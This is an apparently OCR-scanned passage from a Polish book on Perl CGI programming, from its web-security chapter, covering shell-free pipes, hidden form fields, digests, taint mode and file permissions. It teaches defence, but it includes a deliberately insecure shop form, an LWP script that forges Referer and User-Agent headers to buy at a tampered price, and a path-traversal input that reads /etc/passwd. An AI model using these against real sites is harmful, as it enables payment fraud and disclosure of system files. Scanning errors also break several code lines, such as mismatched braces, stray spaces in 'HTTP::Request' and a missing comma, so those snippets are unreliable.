bezpieczeństwo w strukturze Web, zawsze lepiej się asekurować, niż potem żałować. Ten skrypt możemy jeszcze bardziej ulepszyć, a mianowicie otworzyć potok do innego procesu w Perlu z całkowitym pominięciem powłoki. No dobra, dlaczego nie powiedzieliśmy tego od razu? Tak się składa, że ta sztuczka działa tylko w tych systemach operacyjnych, w których Perl może ulec rozwidleniu 12 (na skutek operacji fork), więc nie będzie działać na przykład w systemach Win32 lub MacOS. fork i exec Wszystko, co musimy zrobić, sprowadza się do zastąpienia polecenia otwierającego potok następującym zapisem: ## O, tak jest o wiele bezpieczniej my $pid = open POTOK, "-|"; die "Nie można rozwidlić $!" unless defined $pid; unless ( $pid ) { exec FIGLET, $tekst or die "Nie można otworzyć potoku do figletu: $!"; } Użyta tu została specjalna forma polecenia open, która jawnie nakazuje Perłowi rozwidlić się i utworzyć proces potomny z przyłączonym do niego potokiem. Proces potomny jest kopią wykonywanego w danej chwili skryptu, która kontynuuje działanie od tego samego punktu, co oryginał. Mimo to open zwraca inną wartość w wypadku każdego z procesów powstałych na skutek rozwidlenia: do procesu macierzystego przekazywany jest identyfikator procesu (czyli PID, ang. process identifier) potomnego; do procesu potomnego przekazywane jest 0. Jeśli operacja rozwidlenia zakończy się niepowodzeniem, to zwraca undef. Gdy zostanie stwierdzone, że polecenie zostało pomyślnie zrealizowane, proces potomny wywołuje polecenie exec, które uruchamia figlet, zachowując przy tym to samo środowisko, włącznie z potokiem do procesu macierzystego. W ten sposób proces potomny staje się figletem, a macierzysty zachowuje potok do figletu, tak jak gdyby użyte zostało prostsze, wcześniejsze polecenie open. 12 obsługiwane.
Gdy książkę tę oddawano do druku, w najnowszej wersji Perla firmy ActiveState polecenie fork w Win32 było już
Programowanie CGI w Perlu
100
Kod się oczywiście trochę komplikuje. Więc po co to wszystko, jeśli i tak musimy wywołać figlet poprzez exec? Jeśli przyjrzymy się uważniej, zauważymy, że w tym skrypcie do exec przekazywanych jest kilka argumentów. Pierwszy argument to nazwa procesu do uruchomienia, pozostałe zaś argumenty przekazywane są dalej do nowego procesu, przy czym odbywa się to bez pośrednictwa powłoki. W ten sposób, nieznacznie komplikując kod, unikamy poważnego zagrożenia. Kwestia zaufania do przeglądarki Przyjrzyjmy się kolejnej pomyłce związanej z bezpieczeństwem, popełnianej w skryptach CGI. Można by sądzić, że spośród danych pochodzących od użytkownika sprawdzać trzeba wyłącznie te, na których edycję pozwoliliśmy. Na przykład może się nam wydawać, że dane umieszczone w polach ukrytych lub listach z pozyq'ami do wyboru są bezpieczniejsze niż dane w polach tekstowych, ponieważ przeglądarka nie pozwala użytkownikom na ich edycję. W rzeczywistości jednak te dane mogą być równie groźne. Zobaczmy, dlaczego. W ramach przykładu przeanalizujemy prosty internetowy sklep z oprogramowaniem. Każdy artykuł ma osobną statyczną stronę HTML, a każda z nich w celu zrealizowania transakcji wywołuje ten sam skrypt. Aby skryptowi CGI zapewnić maksymalną elastyczność, odczytuje nazwę artykułu, ilość i cenę, które zawarte są w ukrytych polach na stronie danego artykułu. Następnie skrypt pobiera od użytkownika informacje o karcie kredytowej, obciąża kartę na kwotę za wszystkie artykuły, po czym umożliwia użytkownikowi pobranie oprogramowania przez Internet. Przykład 8.4 przedstawia przykładową stronę artykułu. Przykład 8.4. sb3000_INSECURE.html <html> <head> <title>Super Blaster 3000</title> </head> <body bgcolor="#FFFFFF"> <h2>Super Blaster 3000</h2> <hr> <form action="https://localhost/cgi/zakup.cgi" method="GET"> <input type="hidden" name="cena" value="30.00"> <input type="hidden" name="nazwa" value="Super Blaster 3000"> <p>Super Blaster 3000, oto nowa supergra, o której tak głośno! Już trafiła na półki. Tu zamówisz swój egzemplarz. Tylko chwile zajmie pobranie jej z naszego sklepu, a dostarczy Ci rozrywki na cały rok!</p> <p>Cena to tylko 30,00 PLN (za jedną licencję). Podaj liczbę wykupywanych licencji, po czym kliknij przycisk <i>Zamów</i>, aby informacje te wprowadzić do naszej bazy.</p> <p>Liczba licencji: <input type="text" name="ilosc" value="l" size="8"></p> <input type="submit" name="submit" value="Zamów"> </form> </body> </html> Nie musimy tu przytaczać skryptu CGI, ponieważ problem nie polega na tym, co skrypt robi, lecz jak jest wywoływany. Tymczasem interesuje nas formularz, a problem z bezpieczeństwem leży w cenie. Cena przechowywana jest w polu ukrytym, więc wydaje się, że użytkownik nie ma możliwości zmienić ceny. Niech naszej uwadze nie umknie jednak fakt, że ponieważ formularz wysyłany jest przy użyciu metody GET, parametry będą widoczne w URL-u wyświetlanym w oknie przeglądarki. Formularz z powyższego przykładu w wypadku wykupienia jednej licencji wygeneruje następujący URL (podziału wiersza w rzeczywistości nie ma): https://localhost/cgi/zakup.cgi?cena=30.00s nazwa=Super+Blaster+3000&ilosc=l&submit=Zam%F3w Modyfikując ten URL, można zmienić cenę na inną i wywołać skrypt CGI już z nową wartością. Mylne jest przekonanie, że problem rozwiąże zmiana metody żądania na POST. Wielu projektantów CGI posługuje się metodą POST, nawet wtedy gdy nie należy (zob. porównanie metod GET i POST w rozdziale 2, „HTTP - protokół transferu hi-pertekstu"), ponieważ wierzą, że w ten sposób skrypty staną się mniej podatne na zafałszowanie URL-a. Bezpieczeństwo jest pozorne. Przede wszystkim CGI.pm, jak większość modułów analizujących składniowo dane z formularzy, nie rozróżnia danych uzyskanych za pośrednictwem POST i GET. Choćbyśmy zmodyfikowali formularz tak, aby wywoływał skrypt poprzez POST, użytkownik i tak będzie mógł skonstruować łańcuch zapytania i wywołać skrypt poprzez GET. Środkiem zaradczym może być następujący kod: unless ( $ENV{REQUEST_METHOD) eq "POST" ) { error( $q, "Nieprawidłowa metoda żądania." ); } Jednak użytkownik zawsze może skopiować formularz do swojego systemu. Następnie w kopii może zmienić pole ceny z ukrytego na edytowalne pole tekstowe, a zmienioną cenę wysłać do naszego skryptu CGI. Protokół HTTP nie ma cech, które by uniemożliwiły formularzowi HTML znajdującemu się na jednym serwerze wywołanie skryptu CGI na innym. Za pomocą skryptu CGI nie można wiarygodnie ustalić, z którego formularza wysłano dane. Wielu programistów na podstawie zmiennej środowiska HTTP_REFERER próbuje sprawdzać, skąd pochodzą dane. Służący do tego kod mógłby wyglądać następująco: my $server = quotemeta( $ENV{HTTP_HOST} || $ENV{SERVER_NAME} ); unless ( $ENV{HTTP_REFERER} =~ m|^https? ://$server/| ) { error( $q, "Nieprawidłowy URL odsyłający." ); } Problem w tym wypadku polega na tym, że dotąd ufaliśmy użytkownikowi, a teraz zaczęliśmy ufać przeglądarce użytkownika. To błąd. Jeśli użytkownik do wędrówek po sieci używa Netscape'a lub Internet Explorera, to zapewne wszystko będzie w porządku. Owszem, może się zdarzyć, że jakaś usterka sprawi, że przeglądarka wyśle wadliwy URL strony odsyłającej, lecz jest to mało prawdopodobne. Ale czy ktoś powiedział, że użytkownicy muszą korzystać wyłącznie z tych przeglądarek?
Programowanie CGI w Perlu
101
Istnieje wiele różnych przeglądarek Web, a niektóre z nich są w o wiele większym stopniu konfigurowalne niż Netscape czy Internet Explorer. Nie wszyscy wiedzą, że nawet Perl dysponuje swoistym klientem webowym. Moduł LWP umożliwia tworzenie i wysyłanie żądań HTTP z poziomu kodu w Perlu. Żądania można w pełni dostosowywać do indywidualnych potrzeb, więc można w nich zawrzeć dowolne nagłówki HTTP, w tym pola Referer i User-Agent. Za pomocą poniższego kodu ktoś mógłby łatwo ominąć wszystkie kontrole bezpieczeństwa, o których wcześniej mówiliśmy: #!/usr/bin/perl -w use strict; use LWP::UserAgent; use HTTP::Request; use HTTP::Headers; use CGI; my $q = new CGI( { cena => 0.01, nazwa => "Super Blaster 3000", ilość => l, submit => "Zam%F3w", } ); my $dane_z_formularza = $q->query_string; # nagłówki: my $naglowki = new HTTP::Headers( Accept => "text/html, text/plain, image/*", Referer => "http://Iocalhost/products/sb3000.html" Content_Type => "application/x-www-form-urlencoded" ); # żądanie: my $zadanie = new HTTP: :Request ( "POST", "http://localhost/cgi/feedback.cgi", $naglowki ); $zadanie->content ( $dane_z_formularza ) ; my $agent = new LWP: :UserAgent; $agent->agent ( "Mozilla/4.5" ); # odpowiedź na żądanie: my $odpowiedz = $agent->request ( $zadanie ) ; print $odpowiedz->content; Nie będziemy tu analizować działania tego pliku, a moduł LWP omówimy w rozdziale 14, „Middleware oraz XML". Ważne jest, aby sobie uświadomić, że nie można ufać danym pochodzącym od użytkownika ani że nie można ufać, iż przeglądarka ochroni nas przed nieuczciwym użytkownikiem. Dla kogoś z odrobiną wiedzy i pomysłowości dostarczenie nam zupełnie dowolnych danych jest banalnie proste.
Szyfrowanie Przy tworzeniu zabezpieczeń skutecznym narzędziem bywa szyfrowanie. Są dwie sytuacje, w których okazuje się ono szczególnie przydatne w aplikacjach webowych. W pierwszej chodzi o ochronę poufnych informacji, tak aby nie mogły ich przechwycić i obejrzeć osoby postronne. Tego typu ochronę zapewniają połączenia HTTPS, oparte na mechanizmie SSL (lub TLS). Drugi przypadek obejmuje kontrolę poprawności, na przykład sprawdza się, czy użytkownik nie zafałszował wartości w ukrytych polach formularza. W tym celu dane poddaje się mieszaniu, generując kondensat (ang. digest) - pełniący funkcję analogiczną do sumy kontrolnej dzięki któremu można sprawdzić, czy dane są zgodne z oczekiwanymi. Do zabezpieczenia danych z przykładu 8.3 można wykorzystać algorytm mieszający, na przykład MD5 lub SHA-1. W tym celu generuje się kondensat odnoszący się zarówno do danych na stronie - czyli nazwy artykułu i ceny - jak i tajnej frazy przechowywanej na serwerze: use constant $TAJNA_FRAZA => "To zDaNIe PoWiNNo bYć tRuDNe dO oDGaDnlecIA. "; my Skondensat = generuj_kondensat ( $nazwa, $cena, $TAJNA_FRAZA ) ; Tak wygenerowaną wartość można potem wstawić do formularza jako dodatkowe pole ukryte, jak w przykładzie 8.5. Przykład 8.5. sb3000.html <html> <head> <title>Super Blaster 3000</title> </head> <body bgcolor="#FFFFFF"> <h2>Super Blaster 3000</h2> <hr> <form action="https://localhost/cgi/zakup.cgi" method="GET"> <input type="hidden" name="cena" value="30.00"> <input type="hidden" name="nazwa" value="Super Blaster 3000"> <input type="hidden" name="kondensat" Value="a38b37b5c80a79d2efb31ad78e9b8361">
Programowanie CGI w Perlu
102
Gdy skrypt CGI otrzymuje dane z formularza, ponownie oblicza kondensat na podstawie nazwy artykułu, ceny i tajnej frazy. Jeśli wynik zgadza się z kondensatem dostarczonym z formularza, oznacza to, że użytkownik nie zmodyfikował danych. Tajna fraza nie może być łatwa do odgadnięcia i powinna być pilnie strzeżona na serwerze. Naszą tajną frazę, tak jak hasła i inne poufne dane, możemy umieścić w pliku poza katalogiem CGI i głównym katalogiem dokumentów, skąd skrypty CGI w razie potrzeby ją odczytają. Dzięki temu, jeśli na skutek błędnej konfiguracji serwer Web zezwoli użytkownikom na przeglądanie kodu źródłowego skryptów CGI, tajna fraza pozostanie bezpieczna. W rozważanym przykładzie najprostszym rozwiązaniem wydaje się być odczytywanie cen wprost z serwera, a nie przekazywanie ich za pośrednictwem ukrytych pól. Jednak niewątpliwie zdarzają się sytuacje, kiedy konieczne jest przedłożenie danych w podobny sposób, a wtedy kondensaty są skutecznym sposobem weryfikacji danych. Przyjrzyjmy się teraz, jak generuje się kondensaty. Zajmiemy się dwoma algorytmami: MD5 i SHA-1. MD5 MD5 jest 128-bitowym jednoprzebiegowym algorytmem mieszającym. Na podstawie danych generuje krótki kondensat, którego prawdopodobieństwo powielenia dla innych danych jest minimalne. Ponadto na podstawie kondensatu nie można odtworzyć pierwotnych danych. Tworzenie w Perlu kondensatów według 13 algorytmu MD5 umożliwia moduł Digest::MD5 . Digest::MD5 może wygenerować kondensat w trzech różnych formatach: jako surowe dane binarne, w postaci liczb szesnastkowych (heksadecymalnych) oraz przekształcone do formatu Base64. W dwóch ostatnich wypadkach powstają dłuższe łańcuchy, lecz za to można je bezproblemowo wstawiać do HTML-a, wiadomości elektronicznych itp. Kondensat szesnastkowy składa się z 32 znaków, zaś oparty na Base64 z 22 znaków. W kodowaniu Base64 stosowane są znaki A-Z, a-z, 0-9, +, / oraz =. W celu wygenerowania szesnastkowego kondensatu przy użyciu modułu Digest::MD5 można się posłużyć następującym zapisem: use Digest::MD5 qw ( md5_hex ) ; my $kondensat_hex = md5_hex ( $dane ) ; W celu wygenerowania kondensatu Base64 przy użyciu modułu Digest::MD5 można się posłużyć następującym zapisem: use Digest::MD5 qw ( md5_base64 ); my $kondensat_base64 = md5_base64 ( @dane ); Wciąż jest możliwe, że osoba, która dysponuje kondensatem i zna wszystkie możliwe oryginalne wartości, dla każdej możliwej wartości może wygenerować kondensaty i porównać je z kondensatem wzorcowym. Dlatego, jeśli chcemy wygenerować kondensaty, których nie można się domyślić, powinniśmy podawać dane na tyle zróżnicowane, by nie dało się ich przewidzieć. W ciągu ostatnich kilku lat algorytm MD5 spotykał się z krytycznymi opiniami, ponieważ naukowcy odkryli jego wewnętrzne słabości, które ułatwiają znalezienie różnych zestawów danych dających ten sam kondensat. Nikomu się to jeszcze nie udało, gdyż mimo wszystko jest to bardzo trudne, lecz wyzwanie wydaje się mniej ambitne niż wcześniej sądzono i być może w niedalekiej przyszłości poszukiwania zakończą się sukcesem. Nie oznacza to, że odtworzenie pierwotnych danych na podstawie kondensatu stało się trochę łatwiejsze, a jedynie to, że możliwe jest wyliczenie innych danych, które wchodzą w kolizję z danym kondensatem. Problem ten, jak dotychczas, nie dotyczy algorytmu SHA-1 . SHA-1 Digest::SHA1, włączony do modułu Digest::MD5, zapewnia interfejs do 160-bitowego algorytmu SHA-1. Uznawany jest za bezpieczniejszy niż MD5, lecz proces generowania trwa dłużej. Sposób jego użycia jest analogiczny do modułu Digest::MD5: use Digest::SHAl qw ( shal_hex shal_base64 ); my $kondensat_hex = shal_hex ( @dane ) ; my $kondensat_base64 = shal_base64 ( @dane ) ; Szesnastkowe kondensaty składają się z 40 znaków, a kondensaty Base64 z 27 znaków.
Tryb kontroli skażeń Przyjrzawszy się bliżej, można dostrzec, że przykładowe skrypty w tym rozdziale są nieco inne niż w przykładach wcześniejszych. Różnica pojawia się na początku pierwszego wiersza. Wszystkie poprzednie przykłady miały następujący pierwszy wiersz: #!/usr/bin/perl -wT W tym rozdziale zaczynają się następująco: # !/usr/bin/perl -w Różnica polega na opcji -T, włączającej w Perlu tryb kontroli skażeń. W trybie rym Perl śledzi dane przychodzące od użytkownika i unika wykonywania na nich wszelkich niebezpiecznych operacji. Ponieważ przykłady z tego rozdziału miały na celu zademonstrowanie niebezpiecznego postępowania, nie działałyby z przełącznikiem -T i dlatego go pomijaliśmy. Już stąd jasno widać, że tryb kontroli skażeń generalnie jest bardzo pożyteczny.
13
Można się niekiedy spotkać z odwołaniami do modułu MDS.pm; MDS.pm został zarzucony i jest obecnie jedynie opakowaniem modułu Digest::MD5.
Programowanie CGI w Perlu
103
Zadaniem tego trybu jest niedopuszczenie do tego, aby jakiekolwiek dane spoza aplikacji miały wpływ na cokolwiek na zewnątrz aplikacji. Dlatego Perl nie zezwoli, aby dane wprowadzone przez użytkownika zostały poddane działaniu instrukcji eoal, przetworzone przez powłokę lub użyte w jakimkolwiek poleceniu Perla, które oddziałuje na zewnętrzne pliki i procesy. Tryb ten został stworzony na wypadek sytuacji, w których bezpieczeństwo odgrywa bardzo dużą rolę: na przykład przy pisaniu programów w Perlu działających jako użytkownik root lub skryptów CGI. W skryptach CGI zawsze należy się posługiwać trybem kontroli skażeń. Na czym polega mechanizm skażeń Gdy tryb kontroli skażeń jest włączony, Perl monitoruje każdą zmienną pod kątem skażenia. Dane skażone, według specyfikacji Perla, to wszelkie dane, które pochodzą spoza kodu. Ponieważ wliczyć tu należy wszystko, co jest odczytywane z STDIN (lub z dowolnego innego wejścia plikowego), oraz wszystkie zmienne środowiska, pojęde to obejmuje wszelkie dane, które skrypt CGI otrzymuje od użytkownika. Perl nie tylko śledzi, czy zmienne są skażone, lecz także to, czy wraz z przypisaniem jednej zmiennej skażenie przenosi się z niej na inną zmienną. Przykładowo: Perl uznaje, że metoda żądania HTTP przechowywana w zmiennej $ENV {REQUEST_METHOD} jest skażona, ponieważ jest to zmienna środowiska. Jeśli teraz przypiszemy ją do innej zmiennej, również i ona stanie się skażona. my $metoda = $ENV(REQUEST_METHOD) Tutaj skażenie przenoszone jest na zmienną $metoda. Nie ma znaczenia, czy wyrażenie jest proste czy skomplikowane. Jeśli skażona wartość zostaje użyta w wyrażeniu, skażeniu ulega wynik wyrażenia, a każda zmienna, do której zostanie on przypisany, także stanie się skażona. 14 W celu sprawdzenia, czy zmienna jest skażona, można się posłużyć poniższą procedurą. Zwraca ona wartość „prawda" lub „fałsz". sub czy_skazona { my $var = shift; my $pustka = substrf $var, 0, 0 ); return not eval { eval "1 || $pustka" || 1 }; } Do zmiennej $ pustka przypisujemy zerowej długości podłańcuch sprawdzanej zmiennej. Jeśli wartość jest skażona, a tryb kontroli skażeń jest włączony, to gdy w następnym wierszu poddamy obliczeniom zawartość cudzysłowu, Perl zasygnalizuje błąd. Błąd zostaje wyłapany przez zewnętrzną (poza klamrami) instrukcję eval, która zwraca wtedy undef. Jeśli zmienna nie jest skażona lub tryb kontroli skażeń jest wyłączony, wyrażenie obejmowane przez zewnętrzne eval da wynik l. Operator not odwraca wartość wyniku. Co jest nadzorowane w trybie kontroli skażeń Wielką zaletą trybu kontroli skażeń jest to, że nie musimy znać wszystkich technicznych szczegółów dotyczących wewnętrznych mechanizmów Perla. Jak widzieliśmy, Perl niekiedy poprzez zewnętrzną powłokę przekazuje wyrażenia, wspomagając interpretację argumentów kierowanych do wywołań systemowych. Zdarzają się jeszcze trudniej uchwytne sytuacje, w których Perl wywołuje powłokę, lecz nie musimy się martwić rozpoznawaniem wszystkich tych przypadków, ponieważ tryb kontroli skażeń sam je rozpoznaje. Przede wszystkim Perl uznaje za potencjalnie szkodliwe każde działanie, które może zmodyfikować zasoby na zewnątrz skryptu. Dlatego posługując się skażoną nazwą pliku można otworzyć plik, i odczytać jego zawartość, jeśli tylko odbywa się to w trybie tylko do odczytu. Jeśli jednak posługując się skażoną nazwą spróbujemy otworzyć plik z możliwością zapisu, Perl przerwie wykonanie i zgłosi błąd. Jak się pozbyć skażenia Tryb kontroli skażeń byłby zbyt restrykcyjny, gdyby nie było sposobu odkażenia danych. Oczywiście nie zależy nam na odkażaniu danych bez uprzedniego sprawdzenia, czy są one bezpieczne. Tak się dobrze składa, że jednym poleceniem możemy zrealizować obydwa zadania. Okazuje się, że w Perlu jedno wyrażenie, w którym występują skażone wartości, po przetworzeniu może dać wartość nieskażoną. Jeśli test na dopasowanie zmiennej przeprowadzamy przy użyciu wyrażenia regularnego, to pseudozmienne z wynikami dopasowywania według wzorca podanego w nawiasie okrągłym (tj. $1, $2 itd.) będą nieskażone. Na przykład, gdybyśmy chcieli ustalić nazwę pliku, który ma zostać udostępniony użytkownikowi, upewniając się przy tym, że nie zawiera pełnej ścieżki do pliku (aby użytkownik nie mógł pisać w pliku znajdującym się poza przewidzianym do tego katalogiem), wtedy dane od użytkownika moglibyśmy odkazić w następujący sposób: $q->param( "nazwa_pliku" ) =~ /^( [\w. ]+)$/; my $nazwa_pliku = $1; unless ( $nazwa_pliku ) { Dwie pierwsze linie można zredukować do jednej, ponieważ wyrażenie regularne zwraca listę dopasowań, a te również są nieskażone: my( $nazwa_pliku ) = $q->param( "nazwa_pliku" ) =~ /^([\w.]+)$/; unless ( $nazwa_pliku ) { Taki zapis występował w wielu wcześniejszych przykładach. Zauważmy, że rezultatem wyrażenia regularnego jest lista, i dlatego zmienną $nazwa_pliku musimy umieścić w nawiasie, aby została przetworzona w 14 Podręcznikowa strona perlsec do sprawdzania skażeń zaleca procedurę opartą na funkcji Perla kill. Niestety, w wielu systemach funkcja kill nie działa. Podana tu procedura powinna działać niezależnie od platformy.
Programowanie CGI w Perlu
104
kontekście listy. W przeciwnym razie zmiennej $nazwa_pliku zostałaby przypisana liczba pomyślnych dopasowań do wzorca w nawiasie (w tym wypadku byłoby to 1). Zezwalanie a zabranianie Przypomnijmy sobie to, o czym wcześniej mówiliśmy. Generalnie lepiej jest ustalić, na które znaki zezwolić, niż próbować ustalać, których znaków zabronić. Konstruując nieskażone wyrażenia regularne, należy o tym pamiętać. W tym przykładzie za dozwolone w nazwie pliku przyjęliśmy jedynie litery, liczby, znaki podkreślenia i kropki, co jest o wiele prostsze niż analizowanie ścieżki pliku pod kątem wszelkich możliwych separatorów. Dlaczego warto korzystać z trybu kontroli skażeń Tryb kontroli skażeń w Perlu nie robi niczego, czego sami nie moglibyśmy zrobić. Jedynie monitoruje dane i zatrzymuje wykonanie skryptu, gdy tylko zaistnieje groźba, że przez nieuwagę zrobimy sobie krzywdę. Choć sami możemy zachowywać środki ostrożności, z pewnością wsparcie ze strony Perla jest cenne. Zasadniczo najlepszym argumentem przemawiającym za korzystaniem z trybu kontroli skażeń jest pytanie odwrotne: „Dlaczego nie warto korzystać z trybu kontroli skażeń?". Wielu projektantów CGI wymyśla różne wymówki, aby nie stosować trybu kontroli skażeń, lecz żadna z nich nie jest naprawdę sensowna. Niektórzy stwierdzają, że wymagania nakładane przez ten tryb są zbyt trudne lub skomplikowane, by im sprostać. Twierdzą tak dlatego, gdyż nie w pełni rozumieją, jak działa tryb kontroli skażeń, więc uznają, że łatwiej jest go wyłączyć, niż nauczyć się rozwiązywać problemy, na które stara się zwracać uwagę Perl (pomocny powinien być następny podrozdział). Inni z kolei mogą argumentować, że tryb kontroli skażeń spowalnia skrypty bardziej, niż mogą sobie na to pozwolić. Można wierzyć lub nie wierzyć, ale prawda jest taka, że tryb kontroli skażeń nie spowalnia skryptów w znaczącym stopniu. Jeśli zależy nam na wydajności, mimo wszystko nie zakładajmy z góry, że tryb ten musi spowolnić kod. Warto posłużyć się modułem Benchmark i sprawdzić różnice; wynik może być zaskakujący. Sposób użycia modułu Benchmark omówimy w rozdziale 17, „Efektywność i optymalizacja". Za korzystaniem z trybu kontroli skażeń przemawia w końcu to, że skrypt rzadko kiedy nie ulega zmianom. Poprawia się usterki, wprowadza nowe funkcje, a choćby nawet pierwotny kod był doskonale bezpieczny, ktoś może przypadkowo wszystko pozmieniać. Tryb kontroli skażeń można traktować jak stały audyt bezpieczeństwa, który Perl przeprowadza za darmo. Problemy często towarzyszące trybowi kontroli skażeń Gdy rozpoczniemy pracę z trybem kontroli skażeń, może on nas poirytować, ponieważ może się wydawać, że zgłasza zastrzeżenia niemal do wszystkiego. Oczywiście, po nabraniu odrobiny doświadczenia będziemy wiedzieć, na co należy zwracać uwagę, i wręcz odruchowo pisać bezpieczny kod. Oto kilka podstawowych wskazówek pomocnych przy rozwiązywaniu głównych problemów, z którymi można się zetknąć na samym początku: • Zmienna środowiska PATH (ścieżka) musi być bezpieczna. Jeśli wywołujemy jakikolwiek program zewnętrzny, musimy się upewnić, że w katalogu określonym przez wartość $ENV {PATH} nie ma katalogów, które mógłby modyfikować ktokolwiek poza właścicielem. Dla Perla nie ma znaczenia, czy podana zostanie pełna ścieżka do wywoływanego programu czy nie; mimo to PATH musi, bezpieczna, ponieważ w wywoływanym programie może być używana odziedziczona zmienna PATH. • @ INC nie będzie zawierać bieżącego katalogu roboczego. Jeśli w skrypcie musi zostać uwzględniony (za pomocą pragm recjuire lub use) inny kod Perla przechowywany w bieżącym katalogu, to do @ INC musimy jawnie dopisać katalog bieżący albo do kodu polecenia włączyć ścieżkę pełną lub względną. • Należy pozbyć się ryzykownych zmiennych środowiska, jeśli nie są potrzebne. W szczególności skasować należy IFS, CDPATH, ENV i BASH_ENV. Powszechną praktyką jest dodawanie do skryptu CGI, który działa w trybie kontroli skażeń, zapisu podobnego do dwóch poniższych linijek (zmienna PATH w konkretnym wypadku może być inna, w zależności od potrzeb i systemu): $ENV{PATH} = "/bin:/usr/bin"; delete @ENV{ 'IFS', 'CDPATH', 'ENV', 'BASH_ENV' };
Przechowywanie danych Wiele zagrożeń bezpieczeństwa dotyczy zwłaszcza odczytywania i zapisywania danych. Magazynowanie danych omówimy obszernie w rozdziale 10, „Obsługa danych w plikach". Dokonajmy teraz przeglądu zagrożeń bezpieczeństwa. Dynamiczne nazwy plików Szczególną ostrożność należy zachować przy otwieraniu plików, których nazwy są generowane dynamicznie na podstawie danych dostarczonych przez użytkownika. Możemy na przykład zorganizować dane według daty - z osobnymi katalogami na każdy rok i osobnymi plikami na każdy miesiąc. Jeśli udostępnimy użytkownikowi skrypt CGI umożliwiający wyszukiwanie rekordów w takim pliku według roku i miesiąca, nie powinniśmy korzystać z następującego kodu: #!/usr/bin/perl -wT use strict; use CGI; use CGIBook::Error;
Programowanie CGI w Perlu
105
my $q = new CGI; my @braki; my $miesiac = $q->param( "miesiąc" ) or push @braki, "miesiąc"; my $rok = $q->param( "rok" ) or push @braki, "rok"; my $klucz = ąuotemeta ( $q->param( "klucz" ) ) or push Sbraki, "klucz"; if ( @braki ) { my $pola = join ", ", @braki; error ( $q, "Pominięte zostały następujące wymagane pola: $pola." ); } local *PLIK; ## Ten wiersz jest NIEBEZPIECZNY, jeśli wcześniej nie są kontrolowane zmienne $rok i $miesiac open PLIK, "/usr/local/apache/data/$rok/$miesiac" or error ( $q, "Nieprawidłowy miesiąc lub rok" ); print $q->header ( "text/html" ), $q->start_html ( "Wyniki" ), $q->hl( "Wyniki" ), $q->start_pre; while (<PLIK>) { print if /$klucz/; } print $q->end_pre, $q->end_html; Użytkownik, który jako miesiąc wpisze „../../../../../etc/passwd", będzie mógł obejrzeć plik /etc/passwd — czego zapewne byśmy sobie nie życzyli. Założywszy, że formularz Web przekazuje do skryptu oznaczenia miesięcy i lat w postaci dwucyfrowej, powinniśmy dodać następujące wiersze: unless ( $rok =~ /^\d\d$/ and $miesiac =~ /^\d\d$/ ) { error( $q, "Nieprawidłowy miesiąc i rok." ); } Zastanawiać może fakt, że tryb kontroli skażeń jest włączony, a zagrożenia nie są przechwytywane. Przypomnijmy więc: zadaniem kontroli skażeń jest nie dopuśdć do tego, aby w wyniku przypadkowego użycia danych pochodzących spoza programu zostały wprowadzone zmiany do zasobów na zewnętrz programu. W kodzie tym nie jest podejmowana próba zmodyfikowania zasobów zewnętrznych, więc nie ma powodu, aby tryb kontroli skażeń uniemożliwił skryptowi odczytanie pliku /etc/passwd. Tryb ten nie dopuszcza do otwarcia pliku o nazwie podanej przez użytkownika jedynie wtedy, gdy plik jest otwierany do zapisu. W omawianym przykładzie odczytujemy zawartość pliku tekstowego, lecz to samo zagrożenie dotyczy także danych magazynowanych w innej formie. Równie łatwo moglibyśmy odczytywać zawartość plików DBM. Podobnie jak w wypadku systemów relacyjnych baz danych, należy podać bazę danych, z którą chcemy się połączyć; jeśli umożliwimy użytkownikowi podanie wprost bazy danych, którą chce otworzyć i odczytać, będzie to bardzo złe rozwiązanie. Położenie plików Użytkownik nie powinien mieć możliwości bezpośredniego przeglądania plików danych, więc powinny się one znajdować poza drzewem dokumentów serwera Web. Wiele osób, instalując aplikacje webowe czerpane z różnych źródeł, często nie zwraca na to uwagi. Ogólnodostępne aplikacje Web często rozpowszechniane są tak, że wszystkie pliki (włącznie z plikami konfiguracyjnymi, które zawierają tak ważne dane, jak hasła administracyjne) mieszczą się w jednym katalogu, gdyż w takim układzie instalacja jest łatwiejsza. Jeśli aplikację zainstalujemy tak, jak w oryginalnym pakiecie, to ktokolwiek z dobrą znajomością tej aplikacji będzie mógł się dostać do informacji konfiguracyjnych, a zapewne również je wykorzystać. Aplikacje tego typu często pozwalają stosunkowo łatwo zmieniać nazwy plików, więc niektórzy projektanci starają się ukryć pliki z ważnymi danymi, zmieniając ich standardowe nazwy na mniej oczywiste. O wiele lepszym rozwiązaniem jest przeniesienie ich w ogóle poza drzewo dokumentów struktury Web. Jeśli tylko dane nie są w całości przechowywane w ramach systemu zarządzania relacyjnymi bazami danych, powinniśmy posługiwać się standardowym drzewem danych podobnym do drzewa dokumentów Web, w którym byłyby przechowywane wszystkie dane aplikacji. Każdej aplikacji Web należy przydzielić osobny podkatalog w głównym katalogu danych. Nie wolno konfigurować serwera Web tak, aby udostępniał pliki spoza tego katalogu. W przykładach zawartych w tej książce jako główny katalog drzewa danych przyjęliśmy /usr/local/apache/data. Uprawnienia do plików Chcąc zapewnić większy nadzór nad dostępem do plików danych w trybie odczytu i zapisu, powinniśmy wykorzystać system plików serwera Web. W systemach unik-sowych każdy katalog i plik ma właściciela, grupę i zestaw uprawnień. Także serwer Web działa jako określony użytkownik określonej grupy, na przykład nobody. Serwer Web nie powinien mieć uprawnień do zapisu względem jakichkolwiek plików, w których zapisywać nie musi. Ta prosta wytyczna, choć wydaje się oczywista, w praktyce często jest ignorowana. Właścicielem plików danych, względem których skryptom wystarczy uprawnienie do odczytu, powinien być użytkownik nobody. Uprawnienia do tych plików powinny być restrykcyjne, na przykład 0644. Gdyby serwer Web musiał dysponować możliwością zapisywania do pliku, a nie był twórcą pliku, moglibyśmy plik przydzielić do grupy nobody i włączyć grupie bit zapisu, czyli przydzielić uprawnienia 0664.
Programowanie CGI w Perlu
106
Jeśli serwer Web musi mieć możliwość tworzenia plików lub podkatalogów w określonym katalogu, to katalog ten musi być dostępny do zapisu. Należy go wówczas przypisać do grupy nobody i zmienić uprawnienia na 0775; w przeciwnym razie uprawnienia do katalogu powinny mieć postać 0755. Trzeba sobie zdawać sprawę, że jeśli udostępnimy katalog do zapisu, obecne w nim pliki będzie można skasować lub podmienić, choćby nawet same pliki były tylko do odczytu.
